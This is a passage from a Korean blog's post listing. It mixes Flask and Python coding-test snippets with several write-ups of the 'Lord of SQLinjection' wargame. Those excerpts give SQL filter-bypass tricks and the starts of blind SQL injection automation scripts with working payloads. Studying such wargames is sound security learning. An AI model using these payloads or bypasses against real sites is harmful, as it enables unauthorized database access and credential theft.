본문 바로가기
  • Tried. Failed. Logged.
728x90

분류 전체보기720

Flask - static 파일들 제공하기 from flask import Flask, request, send_from_directory # set the project root directory as the static folder, you can set others. app = Flask(__name__, static_url_path='') @app.route('/js/') def send_js(path): return send_from_directory('js', path) if __name__ == "__main__": app.run() 출처: https://stackoverflow.com/questions/20646822/how-to-serve-static-files-in-flask How to serve static files in .. 2021. 12. 8.
프로그래머스 - 완주하지 못한 선수, 파이썬 https://programmers.co.kr/learn/courses/30/lessons/42576 코딩테스트 연습 - 완주하지 못한 선수 수많은 마라톤 선수들이 마라톤에 참여하였습니다. 단 한 명의 선수를 제외하고는 모든 선수가 마라톤을 완주하였습니다. 마라톤에 참여한 선수들의 이름이 담긴 배열 participant와 완주한 선수 programmers.co.kr def solution(participant, completion): participant.sort() completion.sort() for i in range( len(completion) ): if participant[i] != completion[i]: return participant[i] return participant[-1] .. 2021. 12. 8.
Lord of SQLinjection - bugbear 이번에는 무려 공백과 OR AND를 제외하고, LIKE도 필터링이 된다. 공백은 %0a로 치환하고, LIKE는 IN으로 대체하면 된다. 그리고 인젝션을 하던 중 ORD 함수를 사용하려고 하자 OR 키워드가 포함이 되어있어서 사용이 불가능했다. 그래서 하는 수 없이 ORD를 HEX로 대신 사용하고 여기에 CONV 함수를 더해서 16진수를 10진수로 변경해 주었다. 그것만 수정하면 이전의 자동화 소스랑 비슷하다. import requests parameter = None cookie = {'PHPSESSID':'자신의 쿠키 값을 입력'} result = None solve = "" for i in range(1, 8+1): for ascii in range(48, 112+1): print(ascii) par.. 2021. 12. 7.
Lord of SQLinjection - darkknight 이전까지는 문자열 형태의 id 혹은 pw를 값을 넘겨주었다면, 이번에는 숫자 형태의 no를 넘겨주어야 한다. 즉 no은 '로 둘러싸여서 쿼리를 실행하는 것이 아니기 때문에 굳이 '를 사용해 우회를 할 필요가 없다. 수고를 좀 더 덜어준 셈이다. 마침 필터링을 하는 부분도 '를 금지하고 있다. 그렇기 때문에 문자를 이용해 Blind 인젝션을 시도하는 것은 불가능하다. (문자를 주기 위해서는 '를 포함을 해야 하기 때문에) 그리고 또 제외를 하는 함수들도 있는데 각각 substr과 ascii가 있다. 이는 다 다른 함수로 대체가 가능함. substr -> mid ascii -> ord =도 LIKE로 치환하면 된다. 아래는 파이썬 자동화 도구이다. import requests parameter = None .. 2021. 12. 7.
Lord of SQLinjection - golem 이번에도 orge 문제처럼 쿼리문을 두 번 실행시키는 것을 보니, 블라인드 인젝션을 시도해야 하는 문제라는 것을 알게 됐다. 근데 이전 문제와 다르게 "="와 substr을 사용하지 못하도록 필터링을 거치게 된다. 하지만 위를 대체할 표현식들이 이미 존재한다. "="는 "LIKE"로 바꾸고 "substr"은 "substring"으로 바꿔주면 끝이다. 아래는 자동화 도구이다. orge에서 사용하던거를 "="를 "LIKE"로 변경하고, "substr"을 "substring"으로 변경해준 것 밖에 없다. import requests parameter = None cookie = {'PHPSESSID':'여기다 자신의 쿠키 값을 입력'} result = None solve = "" for i in range(1.. 2021. 12. 7.
Lord of SQLinjection - skeleton 이번에는 뭐든 입력해도(심지어 일치하는 패스워드를 넣어도) 쿼리문 맨 뒤에 and 1=0 때문에 무조건 실패가 뜨게 된다. 이런 의미 없는 쿼리문을 보고 딱 봐도 주석을 이용한 문제라는 것이 떠올랐다. (뒤에 있는 and 1=0을 무력화 시켜주기 위해서) 정말 주석 #를 넣어서 문제를 통과하는 것도 가능했다. 하지만 ;%00라는 방법도 존재 했다. 얘는 세미콜론(;)과 NULL(%00)을 이용한 주석처리이다. 2021. 12. 7.
Lord of SQLinjection - vampire 이번에는 troll 문제와 다르게 모든 대문자를 소문자로 변경을 시키며, str_replace함수를 이용해 admin 키워드를 공백으로 변경시키고 있다. admin 키워드를 공백으로 변경시키고 있다. admin을 ""으로 바꾼다. 그러면 adadminmin을 넣으면 어떻게 될까? adadminmin 중간에 admin 지워지고, admin이 남게 되어 쿼리를 잘 실행할 수 있게 된다. 문자열 변경 함수의 취약점은 이미 꽤 유명하기 때문에 저 함수 보자마자 바로 떠올랐다. 2021. 12. 7.
Lord of SQLinjection - troll 이문제에서 admin을 필터링하는 저 부분 "/admin/", id로 admin을 넘겨주면 HeHe가 뜨게 됨 하지만 admin이 아니라 Admin을 보내주면? 클리어가 됨 어째서 admin은 안되고 Admin은 가능한 걸까 우선 "/admin/" 필터링을 우회할 수 있었던 이유는 바로 소문자가 아닌 대문자로 입력을 했기 때문에 가볍게 패스가 가능한 것이며, 만약 대소문자를 무시하고 싶다면 뒤에 i를 붙이면 된다. '/admin/i' 2021. 12. 7.
Lord of SQLinjection - orge 파이썬3 자동화 도구 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php los.rubiya.kr import requests parameter = None cookie = {'PHPSESSID':'여기다 자신의 쿠키 값을 넣음'} result = None solve = "" for i in range(1, 8+1): for ascii in range(48, 112+1): print(ascii) parameter = "?pw='|| id='admin'%26%26 ascii(substr(pw,{},1))={}%23".format(i.. 2021. 12. 7.
프로그래머스 - 숫자 문자열과 영단어, 파이썬 https://programmers.co.kr/learn/courses/30/lessons/81301?language=python3 코딩테스트 연습 - 숫자 문자열과 영단어 네오와 프로도가 숫자놀이를 하고 있습니다. 네오가 프로도에게 숫자를 건넬 때 일부 자릿수를 영단어로 바꾼 카드를 건네주면 프로도는 원래 숫자를 찾는 게임입니다. 다음은 숫자의 일부 자 programmers.co.kr def solution(s): numbers = {'zero':'0', 'one':'1', 'two':'2', 'three':'3', 'four':'4', 'five':'5', 'six':'6', 'seven':'7', 'eight':'8', 'nine':'9'} for i in numbers: s = s.replace(.. 2021. 12. 7.
프로그래머스 - [카카오 인턴] 키패드 누르기, 파이썬 https://programmers.co.kr/learn/courses/30/lessons/67256 코딩테스트 연습 - 키패드 누르기 [1, 3, 4, 5, 8, 2, 1, 4, 5, 9, 5] "right" "LRLLLRLLRRL" [7, 0, 8, 2, 8, 3, 1, 5, 7, 6, 2] "left" "LRLLRRLLLRR" [1, 2, 3, 4, 5, 6, 7, 8, 9, 0] "right" "LLRLLRLLRL" programmers.co.kr pad_map = { 1:[0,0], 2:[0,1], 3:[0,2], 4:[1,0], 5:[1,1], 6:[1,2], 7:[2,0], 8:[2,1], 9:[2,2], '*':[3,0], 0:[3,1], '#':[3,2] } # 왼손과 오른손이 눌러야할 .. 2021. 12. 6.
백준 - 소수 구하기, 파이썬 https://www.acmicpc.net/problem/1929 1929번: 소수 구하기 첫째 줄에 자연수 M과 N이 빈 칸을 사이에 두고 주어진다. (1 ≤ M ≤ N ≤ 1,000,000) M이상 N이하의 소수가 하나 이상 있는 입력만 주어진다. www.acmicpc.net import math def is_prime_num(n): if n == 1: return False else: for i in range(2, int(math.sqrt(n))+1): if n % i == 0: return False return True M, N = map(int, input().split()) for i in range(M, N+1): if is_prime_num(i): print(i) 소수를 구할 때는 소수.. 2021. 12. 6.
728x90